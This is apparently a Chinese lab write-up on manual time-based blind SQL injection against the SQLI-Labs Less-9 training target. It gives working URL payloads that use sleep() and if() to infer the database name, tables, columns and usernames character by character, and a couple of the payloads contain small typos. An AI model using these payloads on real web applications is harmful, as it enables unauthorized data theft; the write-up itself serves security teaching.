首页 > 技术文章 > Web安全-基于SQLI的SQL时间盲注

miansj 2020-10-30 20:45 原文

【实验目的】

  通过本实验理解SQL时间盲注漏洞的定义方法,掌握基于SQL时间盲注的手工注入方法,熟悉SQL时间盲注存在的原因,掌握SQL时间盲注的防护方法。

【实验环境】


目标靶机:SQLI平台Less-9

【实验原理】

  1.为什么使用延时注入

  (1)部分网站没办法 union select 联合查询方式注入

  (2)部分网站没有输出显示,只能通过延时判断;

  2.时间盲注的SQL语句原理

  (1)sleep(n)语句:使数据库在暂停n秒之后再将搜索结果输出;

  (2)if((条件),m,n)语句:若条件为真,返回m;若条件为假,返回n;

  3.时间盲注常用函数

  length(database())语句:返回当前数据库名长度。

  mid(database(),m,n):返回数据库名的第m位之后的n位。

【实验步骤】

第一步 登录SQLI-Labs平台

第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-9

  在浏览器地址栏中输入http://【靶机IP】/Less-9/,访问SQLI-Labs的less-9。

第三步 判断注入点与注入类型

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

1)http://【靶机IP】/Less-9/?id=1' and length(database())>0 %23

或

http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+

  页面正常,没有反应

(2)http://【靶机IP】/Less-9/?id=1' and length(database())<0 %23

或

http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+

  页面正常,没有反应

  同样id=1'或id=1"的结果仍然与正常访问一致。

  (2)采用sleep()函数进行测试

http://【靶机IP】/Less-9/?id=1' and sleep(10) %23

或

http://【靶机IP】/Less-9/?id=1' and sleep(10) --+

  响应明显变缓慢,响应速度如下:

  对比没有使用sleep()函数时的状态如下:

  得出结论:存在时间盲注。

下面基于时间盲注进行数据库信息获取:

第四步 获取数据库名的长度

http://【靶机IP】/Less-9/?id=1' and if((length(database())=8),1,sleep(5)) --+

http://【靶机IP】/Less-9/?id=1' and if((length(database())=7),1,sleep(5)) --+

  得出结论:数据库名长度为8。

第五步 探测数据库其他信息

  (1)判断数据库名

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),1,1)=115,1,sleep(5)) --+

  数据库名的第一个字母为s(ascii为115),判断成功直接返回,判断错误的话是暂停5秒。

  (2)获取表

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) --+

  然后

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+ 

  email表的第一个字母为e(ascii为101),判断成功直接返回,判断错误的话是暂停5秒。

  以此类推,我们可以得到所有的数据表:emails,referers,uagents,users

  (3)获取列

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+ 

  猜测users表的第一个列的第一个字符是i。

  以此类推,我们得到列名是id,username,password

  (4)获取列值

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5)) --+

  猜测username的第一行的第一位为D。

  按照这种思路依次来获取全部数据库信息。

【思考与总结】

  通过本次实验,成功实现了利用SQL时间盲注漏洞获取了数据库的表单信息,掌握了SQL时间盲注漏洞的手工攻击方法,在此基础上可以深入理解对其的防护策略。

推荐阅读